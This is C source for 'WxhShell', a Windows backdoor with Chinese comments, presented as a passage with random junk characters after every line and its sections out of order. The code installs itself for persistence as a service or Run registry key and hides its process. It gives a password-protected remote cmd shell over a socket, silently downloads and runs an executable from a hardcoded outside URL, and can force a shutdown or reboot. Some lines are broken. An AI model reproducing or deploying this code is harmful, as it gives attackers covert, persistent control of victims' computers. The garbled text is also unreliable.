    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d8iq9AP\o  
    else { ,OERDWW|6  
    closesocket(wsh); ^qzH(~g{M  
    ExitThread(0); f> bL }L  
    } F0~<p[9Nx  
    break; '4SDAa2f  
    } `ZbFky{  
  // 获取shell =^SxZ Bn  
  case 's': { skBD2V4  
    CmdShell(wsh); lF_"{dS_6(  
    closesocket(wsh); k<5g  
    ExitThread(0); a{@}vZx>3  
    break; i4]oE&G  
  } Lx tgf2r  
  // 退出 xK_oV+  
  case 'x': { Kk*8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lj UdsUw  
    CloseIt(wsh); .`Q^8|$-K  
    break; %pxO<O  
    } Ij$C@hH  
  // 离开 {0 j_.XZ  
  case 'q': { !sSq4K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z:@:B:E  
    closesocket(wsh); 1Qu@pb^  
    WSACleanup(); wYg!H>5  
    exit(1); TL)*onA9  
    break; H]pI$t3~  
        } DY9]$h*y  
  } j:xC \b47"  
  } y)U ?.@  
DU0/if9.  
  // 提示信息 !?(7g2NP)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }f]Y^>-Ux  
} FY ms]bv  
  } z9*e%$+S  
__2<v?\  
  return; D:;idUO  
} t* =[RS*  
,/D}a3JD  
// shell模块句柄 >WIc"y.  
int CmdShell(SOCKET sock) fEX=csZ86  
{ #<S*MGp!=  
STARTUPINFO si; XTo7fbW*  
ZeroMemory(&si,sizeof(si)); ~/]]H;;^u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; USEb} M`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qyv=ot0"~F  
PROCESS_INFORMATION ProcessInfo; z@i4  
char cmdline[]="cmd"; ;~EQS.Qp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,VHqZ'6  
  return 0; )63 $,y-;$  
} 3o%vV*  
P"8Ix  
// 自身启动模式 eHuJFM  
int StartFromService(void) l!F$V;R  
{ ?: yz/9(  
typedef struct  ch8a  
{ :<t=??4m  
  DWORD ExitStatus; wQSye*ec  
  DWORD PebBaseAddress; [b:&y(  
  DWORD AffinityMask; N2v/<  
  DWORD BasePriority; FfdB%  
  ULONG UniqueProcessId; G}fB d  
  ULONG InheritedFromUniqueProcessId; 4|=>gdW)KN  
}   PROCESS_BASIC_INFORMATION; c Mgd  
#$I@V4O;#  
PROCNTQSIP NtQueryInformationProcess; ->8Kd1^F  
P.'.KZJ:WD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mdWA5p(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rD].=.?1  
K*SgEkb'l  
  HANDLE             hProcess; tWIs |n  
  PROCESS_BASIC_INFORMATION pbi; :&IHdf0+  
Vx h39eW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QB*,+u4  
  if(NULL == hInst ) return 0; jk9f{Iu  
%S`& R5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tk&AZb,sP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l88=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9D T<  
}a7d(7  
  if (!NtQueryInformationProcess) return 0; gV2vwe  
m,k 0 h%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yQ$irS?  
  if(!hProcess) return 0; H9mNnZ_k  
L  ;L:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |U%NPw5  
%Mda<3P  
  CloseHandle(hProcess); o,*m,Qc  
9/k2 zXY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 79T_9}M  
if(hProcess==NULL) return 0; :_8K8Sa  
.z>/A /&+  
HMODULE hMod; AxH;psj  
char procName[255]; e~]P _53  
unsigned long cbNeeded; T}&A-V$  
uf6egm5 ]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \p4*Q}t  
~H}Z;n]H  
  CloseHandle(hProcess); kR<sSLEb  
?"yjgt7+y  
if(strstr(procName,"services")) return 1; // 以服务启动 !>sA.L&=  
Y&6jFT_  
  return 0; // 注册表启动 9xQ|Uad+%  
} b~gq8,Fatb  
E`)e ;^  
// 主模块 #{6VdWZ  
int StartWxhshell(LPSTR lpCmdLine) F*k =JL  
{ '.v;/[0  
  SOCKET wsl; q[U pP`Z%  
BOOL val=TRUE; Y=XDN:  
  int port=0; Ne u$SP  
  struct sockaddr_in door; ~VsN\!G  
f#s6 'g  
  if(wscfg.ws_autoins) Install(); >WZ.Dj0n  
1uo- ?k  
port=atoi(lpCmdLine); RuHDAJ"&a  
59.$;Ip;g  
if(port<=0) port=wscfg.ws_port; 1I2n dt  
ToHx!,tDS  
  WSADATA data; B&MDn']fV/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {QEvc  
7J9<B5U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gW~YB2 $  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @WazSL;N  
  door.sin_family = AF_INET; l"J#Pvi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [vr"FLM|9  
  door.sin_port = htons(port); qjRbsD>  
#'/rFT4{v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^iH[ 22 b4  
closesocket(wsl); gbdzS6XW~  
return 1; xhALJfv  
} q>%B @'  
T>'w]wi  
  if(listen(wsl,2) == INVALID_SOCKET) { E?]$Y[KJKs  
closesocket(wsl); Ea4zC|;  
return 1; ^qL<=UC.  
} ^2 dQVV.  
  Wxhshell(wsl); }X9 &!A8z  
  WSACleanup(); zeGWM,!  
N!7?D'y   
return 0; IfH/~EtX  
xZ'C(~t  
} oyiG04H&  
@Ov}X]ELi  
// 以NT服务方式启动 =o~mZ/ 7=M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,tXI*R  
{ |ghyH  
DWORD   status = 0; h8WM4 PK  
  DWORD   specificError = 0xfffffff; /\e_B6pF<  
0=+feB1T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8}BM`@MG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wtbN @g0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z}SJ~WY'[  
  serviceStatus.dwWin32ExitCode     = 0; $mT)<N ;w  
  serviceStatus.dwServiceSpecificExitCode = 0; ?0 cv  
  serviceStatus.dwCheckPoint       = 0; 0`pCgF  
  serviceStatus.dwWaitHint       = 0; +6:  
bRggt6$z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |a) zuC  
  if (hServiceStatusHandle==0) return; g\B ? |%  
C\{ KB@C\*  
status = GetLastError(); BJ_"FG  
  if (status!=NO_ERROR) ]fDb|s48  
{  zv"NbN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ca5LLG  
    serviceStatus.dwCheckPoint       = 0; mCn:{G8+  
    serviceStatus.dwWaitHint       = 0; ^$`mS&3/q  
    serviceStatus.dwWin32ExitCode     = status; tW!*W?  
    serviceStatus.dwServiceSpecificExitCode = specificError;  Mp js  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l_;6xkv4  
    return; 9 7HI9R  
  } o;DK]o>kH  
R:l&2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1\{FKO t  
  serviceStatus.dwCheckPoint       = 0; ]>Dbta.2 7  
  serviceStatus.dwWaitHint       = 0; P( -   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EhKG"Lb+  
} =i}lh}(  
qHheF%[\5  
// 处理NT服务事件,比如:启动、停止 6pb~+=3n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?x 0gI   
{ [CI0N I6F  
switch(fdwControl) Ttl m&d+C  
{ ?v:FGO  
case SERVICE_CONTROL_STOP: 9,&xG\z=  
  serviceStatus.dwWin32ExitCode = 0; OVxg9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _KtV`bF  
  serviceStatus.dwCheckPoint   = 0; :,yC\,H^  
  serviceStatus.dwWaitHint     = 0; _B^X3EOc  
  { XgXXBKf$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O> _ F   
  } #l`\'0`.  
  return; FSz<R*2  
case SERVICE_CONTROL_PAUSE: Y^DGnx("m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y$di_)&g  
  break; raSga'uT;  
case SERVICE_CONTROL_CONTINUE: SmvMjZ+7Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6'@{ * u  
  break; m~Q24Z]!'&  
case SERVICE_CONTROL_INTERROGATE: J,u-)9yBA<  
  break; + Hv'u  
}; %-.;sO=g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hk h'h"_r  
} #C?M-  
A%$~  
// 标准应用程序主函数 qz (x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nf3UVK8LtS  
{ ]Zc|<f;  
S 593wfc  
// 获取操作系统版本 #eJ<fU6Da  
OsIsNt=GetOsVer(); u Z-ZZE C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 73Jm  
"2sk1  
  // 从命令行安装 "UNFB3  
  if(strpbrk(lpCmdLine,"iI")) Install();  fPPP|  
^rP]B-)  
  // 下载执行文件 bP#!U'b"=  
if(wscfg.ws_downexe) { foQo`}"5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Ez, GAk  
  WinExec(wscfg.ws_filenam,SW_HIDE); X|eZpIA45  
} xLOQu.  
DHw)]WB M  
if(!OsIsNt) { Xw!\,"{s  
// 如果时win9x,隐藏进程并且设置为注册表启动 )(-;H|]?  
HideProc(); !@8i(!xb  
StartWxhshell(lpCmdLine); x6s|al  
} %KT}Map  
else 5Q"w{ n  
  if(StartFromService()) z"UC$  
  // 以服务方式启动 sAL ]N][Y  
  StartServiceCtrlDispatcher(DispatchTable); N6}/TbfAR  
else S\&3t}_  
  // 普通方式启动 lYQ|NL():  
  StartWxhshell(lpCmdLine); RE%f'y  
V\<2oG  
return 0; }a6t<m`V  
} ~!r;?38V`  
'!Hs"{~{  
o" ,8   
M }d:B)cz  
=========================================== .=#j dc/  
mSxn7LG  
U-u?oU-.'  
'YNdrvz  
,=m.WmXE  
ob{'Z]-V  
"  V>'  
#lP8/-s^  
#include <stdio.h> =79R;|5  
#include <string.h> .="X vVdkp  
#include <windows.h> 8I#ir4z#<  
#include <winsock2.h> "+"=iwEAz  
#include <winsvc.h> \@:,A]  
#include <urlmon.h> !rM~   
<'I["Um  
#pragma comment (lib, "Ws2_32.lib") MCT1ZZpPr  
#pragma comment (lib, "urlmon.lib") !SQcV'  
oY18a*_>M1  
#define MAX_USER   100 // 最大客户端连接数 Z nc(Q  
#define BUF_SOCK   200 // sock buffer `um,S  
#define KEY_BUFF   255 // 输入 buffer ~ y!'\d>q<  
)S)L9('IxT  
#define REBOOT     0   // 重启 3`HK^((o  
#define SHUTDOWN   1   // 关机 LmF,en5  
;hX(/T  
#define DEF_PORT   5000 // 监听端口 !.] JiT'o  
 Z.6dL  
#define REG_LEN     16   // 注册表键长度 8-#%l~dr  
#define SVC_LEN     80   // NT服务名长度 dw bR,K  
`Z?wj@H1`  
// 从dll定义API ~f1g"   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JQ&t"`\k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +$,Re.WnP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @!#e\tx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9Yx(u 2PQ  
W_\zx<m  
// wxhshell配置信息 _/s"VYFZ  
struct WSCFG { /~[Lr   
  int ws_port;         // 监听端口 0M_oFx  
  char ws_passstr[REG_LEN]; // 口令 Dm>"c;2  
  int ws_autoins;       // 安装标记, 1=yes 0=no  }vd*eexA  
  char ws_regname[REG_LEN]; // 注册表键名 %z><)7  
  char ws_svcname[REG_LEN]; // 服务名 =Ph8&l7~sp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |"3<\$[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \c=I!<9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ux [<g%F"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e3?=1ZB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~&?bU]F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UNdD2Fd9  
c3A\~tHW  
}; m~ tvuz I  
tMIYVHGy  
// default Wxhshell configuration yVd^A2  
struct WSCFG wscfg={DEF_PORT,  `zwz  
    "xuhuanlingzhe", H"P b)t  
    1, (L_-!=e  
    "Wxhshell", iHK~?qd}  
    "Wxhshell", "n-'?W!  
            "WxhShell Service", ( ?V`|[+u  
    "Wrsky Windows CmdShell Service", e%4?-{(  
    "Please Input Your Password: ", \INH[X#>  
  1, XC4Z,,ah"  
  "http://www.wrsky.com/wxhshell.exe", LSo!_tY  
  "Wxhshell.exe" #Ondhy%h[  
    }; R`?l .0  
c PGlT"  
// 消息定义模块 [&Xp]:M'D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;|N:F G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bdUPo+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s:`i~hjq  
char *msg_ws_ext="\n\rExit."; _B4&Fb.  
char *msg_ws_end="\n\rQuit."; I-7LT?r  
char *msg_ws_boot="\n\rReboot..."; Hh<H~s [  
char *msg_ws_poff="\n\rShutdown..."; l{3B }_,  
char *msg_ws_down="\n\rSave to "; <t%gl5}|  
e5h*GKF  
char *msg_ws_err="\n\rErr!"; ,!ZuH?Z  
char *msg_ws_ok="\n\rOK!"; }fpya2Xt  
E$d3+``  
char ExeFile[MAX_PATH]; ijI/z5  
int nUser = 0; #F*|@  
HANDLE handles[MAX_USER]; -! \3;/  
int OsIsNt; kH!Z|P s?R  
p:,Y6[gMo  
SERVICE_STATUS       serviceStatus; vG&>- Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :d mE/Tq  
x^eu[olN  
// 函数声明 I8F+Z  
int Install(void); ;rh.6Dl  
int Uninstall(void); ]5W$EvZ9)  
int DownloadFile(char *sURL, SOCKET wsh); WSThhI  
int Boot(int flag); g14*6O:  
void HideProc(void); 7AG|'s['=  
int GetOsVer(void); ]{-.?W*$  
int Wxhshell(SOCKET wsl); c,UJ uCZ  
void TalkWithClient(void *cs); T.q2tC[bR  
int CmdShell(SOCKET sock); T&U}}iWN  
int StartFromService(void); c? ::l+  
int StartWxhshell(LPSTR lpCmdLine); "SF0b jG9C  
5'lVh/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8(3(kZxS  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  *7Dba5B  
 CB7dr&>  
// 数据结构和表定义 ?7{U=1gb$  
SERVICE_TABLE_ENTRY DispatchTable[] = *0WVrM06?  
{ (1/Sf&2i  
{wscfg.ws_svcname, NTServiceMain}, 8K8u|]i  
{NULL, NULL} 9rB3h`AVF  
}; IQQv+af5  
D)*   
// 自我安装 [%IOB/{N  
int Install(void) \u=d`}E  
{ ;i{B,!#  
  char svExeFile[MAX_PATH]; C|{Sj`,XG  
  HKEY key; l,ny=Q$[1'  
  strcpy(svExeFile,ExeFile); J,a&"eOZ  
/SvhOi  
// 如果是win9x系统,修改注册表设为自启动 :4AQhn^;"  
if(!OsIsNt) { 7j& t{q5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l;F"m+B!$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / "m s  
  RegCloseKey(key); s|YH_1r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Po>6I0y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7KtU\u  
  RegCloseKey(key); [o^$WL?c  
  return 0; .EYL  
    } 5!0iK9O  
  } ;_sJ>.=\  
} %$BRQ-O  
else { yoE-a  
5- dt0I@<  
// 如果是NT以上系统,安装为系统服务 +h) "m/mE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X[z;P!U  
if (schSCManager!=0) XY0kd&N8  
{ Y;af|?U*6:  
  SC_HANDLE schService = CreateService 3=S |U,  
  ( 'r'=%u$1C  
  schSCManager, g|)>65v  
  wscfg.ws_svcname, Quth5  
  wscfg.ws_svcdisp, 4^(x)r &(?  
  SERVICE_ALL_ACCESS, Ff<cY%t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s>9I#_4]  
  SERVICE_AUTO_START, b[vE!lJEq  
  SERVICE_ERROR_NORMAL, b:1B >  
  svExeFile, hB?#b`i^  
  NULL, /N0mF< P  
  NULL, AArLNXzVW  
  NULL, ^Ks1[xc*`  
  NULL, eDd& vf  
  NULL  &_)P)L  
  ); }$?FR  
  if (schService!=0) o!xCM:+J  
  { qw+ 7.h#V  
  CloseServiceHandle(schService); e]<Syrk  
  CloseServiceHandle(schSCManager); GtRpgM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4DIU7#GG  
  strcat(svExeFile,wscfg.ws_svcname); k_g@4x1y*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?!ap @)9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;5X6`GlS#5  
  RegCloseKey(key); 1I;q@g0  
  return 0; WO>A55Xya  
    } '{`KYKLP+  
  } fWP]{z`  
  CloseServiceHandle(schSCManager); d /jx8(0  
} /OKp(u;)z  
} U=v>gNba  
qMaO1cE\  
return 1; j ,rc9  
} hl]d99Lc  
(U\o0LI  
// 自我卸载 i7RK*{  
int Uninstall(void) R0M>'V?e  
{ O!PGZuF  
  HKEY key; U" @5R[=F-  
pIIp61=$  
if(!OsIsNt) { zDg*ds\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gd[muR ~  
  RegDeleteValue(key,wscfg.ws_regname); WjBml'^RY  
  RegCloseKey(key); U/c+j{=~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Iq|h1ie m+  
  RegDeleteValue(key,wscfg.ws_regname); HX.K{!5  
  RegCloseKey(key); Cq@7oi]W0  
  return 0; %>&~?zrq  
  } a,rXG  
} _9oKW;7f7  
} 6I[*p0j5  
else { mI2Gs) SO  
|A4B4/!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  2  
if (schSCManager!=0) I/'>MDB!  
{ !fs ~ >  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %g*nd#wG  
  if (schService!=0) 7L+Wj }m  
  { *wAX&+);  
  if(DeleteService(schService)!=0) { E[hSL#0  
  CloseServiceHandle(schService); do`'K3a"  
  CloseServiceHandle(schSCManager); }51QUFhL0  
  return 0; ^uo,LTq+  
  } padV|hF3(e  
  CloseServiceHandle(schService); YBY;$&9  
  } 6cg,L:j#  
  CloseServiceHandle(schSCManager); 9u~C?w  
} 6l|L/Z_6  
} ?23J(;)s  
)^UqB0C6^  
return 1; dLQp"vs$  
} A?tCa*b^  
6rS ? FG=  
// 从指定url下载文件 i<&z'A6&]*  
int DownloadFile(char *sURL, SOCKET wsh) =$}`B{(H  
{ &tkPZ*}#1  
  HRESULT hr; i K@RQi  
char seps[]= "/"; 2U%t  
char *token; ko.% @Y(=  
char *file; z:UkMn[  
char myURL[MAX_PATH]; 0gyvRM@ x[  
char myFILE[MAX_PATH]; |yNyk7~  
EAY+#>L*  
strcpy(myURL,sURL); q2k}bb +  
  token=strtok(myURL,seps); $_%  
  while(token!=NULL) &=zJ MGa  
  { DvN_}h^nX  
    file=token; ,>g( %3C  
  token=strtok(NULL,seps); PazWMmI  
  } :z?T /9,C  
HJr*\%D}1  
GetCurrentDirectory(MAX_PATH,myFILE); MPp:EH  
strcat(myFILE, "\\"); ( *26aMp  
strcat(myFILE, file); 6 y"r '  
  send(wsh,myFILE,strlen(myFILE),0); qHrIs-NR  
send(wsh,"...",3,0); 57 Vn-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >yyu:dk-;  
  if(hr==S_OK) &xj40IZ  
return 0; 4YOLy\"S  
else X"8$,\wX,  
return 1; kPEU}Kv  
+Km xo4p  
} uA?a DjA  
}zo-%#  
// 系统电源模块 >iJxq6!  
int Boot(int flag) ?h7[^sxJ  
{ u`L*  
  HANDLE hToken; cB;DB) 0P  
  TOKEN_PRIVILEGES tkp; % [,^2s  
O[ans_8  
  if(OsIsNt) { ?`*`A9@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pi&\GMzd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /|Gz<nSc  
    tkp.PrivilegeCount = 1; &=8ZGjR< }  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $ z+ =lF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z\-Gr 2k  
if(flag==REBOOT) { 7|m{hSc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8Z@O%\1x6  
  return 0; X7aj/:fXe  
} hO3C _}  
else { Y5>'(A>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LQ$dT#z2A  
  return 0; aBF<it>  
} OOsd*nX/  
  } 3e[k9`  
  else { [xs`Pi  
if(flag==REBOOT) { jaTCRn3|<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7")&njQ/x  
  return 0; ^-}3 +YA  
} lZ+ 1 A0e  
else { .b%mr:nEt7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]sI{ +$~:c  
  return 0; |qk%UN<  
} kr ?`GQm  
} R[lA@q:  
@XF/hhGE_y  
return 1; _*(:6,8  
} 4.&et()}  
7_7^&.Hh  
// win9x进程隐藏模块 {*|$@%y!  
void HideProc(void) Z=?qf$.}  
{ avv/mEf-f  
/3vj`#jD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j%0 g *YI  
  if ( hKernel != NULL ) aG1[85:,\i  
  { A`1/g{Ha  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DB1Y`l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y /?;s]>b  
    FreeLibrary(hKernel); xeHqC9Ou  
  }  s@3<]  
j%&^qD,  
return; iQaFR@  
} In4T`c?kQ  
"_&HM4%!  
// 获取操作系统版本 =7("xz %  
int GetOsVer(void) A7 :W0Gg  
{ hmd,g>J:<  
  OSVERSIONINFO winfo; T\HP5&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _nnl+S>K  
  GetVersionEx(&winfo); y+[wlo&WC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yc'7F7.<6  
  return 1; @*LESN>T@t  
  else YI?y_S  
  return 0; Y6 @A@VJ  
} 5h(] S[Zf3  
}oTac  
// 客户端句柄模块 ~&IL>2-B  
int Wxhshell(SOCKET wsl) E~!FEl;  
{ k@R)_,2HH  
  SOCKET wsh; D#9W [6  
  struct sockaddr_in client; 0r\hX6 k  
  DWORD myID; WxLILh  
]+S.#x`#  
  while(nUser<MAX_USER) CD0SXNi"zH  
{ &"svt2  
  int nSize=sizeof(client); h:+>=~\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZjJEjw  
  if(wsh==INVALID_SOCKET) return 1; T+/Gz'  
Wm ?RB0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BPKeG0F7  
if(handles[nUser]==0) U `"nX)$  
  closesocket(wsh); 86@@j*c(@k  
else c~Hq.K$d  
  nUser++; LNU9M>  
  } V# 6`PD6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0?j+d8*  
STB=#z  
  return 0; oM-@B'TK  
} h^0!I TL^  
{4{ACp  
// 关闭 socket MgLz:2 :F  
void CloseIt(SOCKET wsh) qx/GioPU  
{ !'C^qrh  
closesocket(wsh); *K\/5Fzl  
nUser--; UkL'h&J~  
ExitThread(0); f-6E>  
} `}u~nu<  
-OuMC&  
// 客户端请求句柄 j:,*Liz  
void TalkWithClient(void *cs) ODM<$Yo:d  
{ .,x08M  
TM':G9n  
  SOCKET wsh=(SOCKET)cs; ]IkjZ=  
  char pwd[SVC_LEN]; !NYc!gYD  
  char cmd[KEY_BUFF]; Z;i^h,j?$1  
char chr[1]; UeT"v?zP  
int i,j; P>kS$U)  
XH2g:$  
  while (nUser < MAX_USER) { GL1!Z3  
>[Q(!Ai  
if(wscfg.ws_passstr) { femAVx}go  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aX1|&erI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #tBbvs+%  
  //ZeroMemory(pwd,KEY_BUFF); TaB35glLY  
      i=0; ?Zoq|Q+  
  while(i<SVC_LEN) { (N43?iv(  
H1=R(+-s  
  // 设置超时 *4[3?~_B#6  
  fd_set FdRead; kF.PLn'iS  
  struct timeval TimeOut; ?P`]^#  
  FD_ZERO(&FdRead); te'<xfG  
  FD_SET(wsh,&FdRead); 4aZsz,=  
  TimeOut.tv_sec=8; e}}xZ%$4|  
  TimeOut.tv_usec=0; n|L.d BAs]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); obX|8hTL%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Md_\9G .e  
G(4:yK0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G#CWl),=  
  pwd=chr[0]; +]  |J  
  if(chr[0]==0xd || chr[0]==0xa) { 8F4#E U  
  pwd=0; <H E'5b  
  break; OY`G_=6!N  
  } K#";!  
  i++; 88)0Xi|]KP  
    } JUU0Tx:`9)  
)CXJRo`j0  
  // 如果是非法用户,关闭 socket |g 4!Yd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c#`Z[  
} m.EWYO0XQ  
m(Bv}9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); })bTQj7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0  x"3  
f+$/gz  
while(1) { M6|Q~8$  
c6dL S  
  ZeroMemory(cmd,KEY_BUFF); /tP"r}l   
!OWV* v2  
      // 自动支持客户端 telnet标准   4y21v|(9  
  j=0; C `knFGb  
  while(j<KEY_BUFF) { CWI(Q`((>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n2Ycq&O  
  cmd[j]=chr[0]; Nc]oA Y  
  if(chr[0]==0xa || chr[0]==0xd) { Yq) wE|k/  
  cmd[j]=0; S)$ES6]9/  
  break; v=SC*  
  } iQin|$F_O  
  j++; -\>Bphu,y  
    } ";",r^vr\  
Fz)z&WT  
  // 下载文件 ~"}-cl,  
  if(strstr(cmd,"http://")) { {v]A`u)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ycCEXu2F  
  if(DownloadFile(cmd,wsh)) Te!q(;L`4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z^`>;n2  
  else R4QXX7h!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }[l`R{d5q>  
  } vD}y%}  
  else { aCFO ]  
cy/;qd+!M  
    switch(cmd[0]) { &Cdk%@Tj]B  
  ~c3!,C  
  // 帮助 @ou g^]a  
  case '?': { k9WihejS  
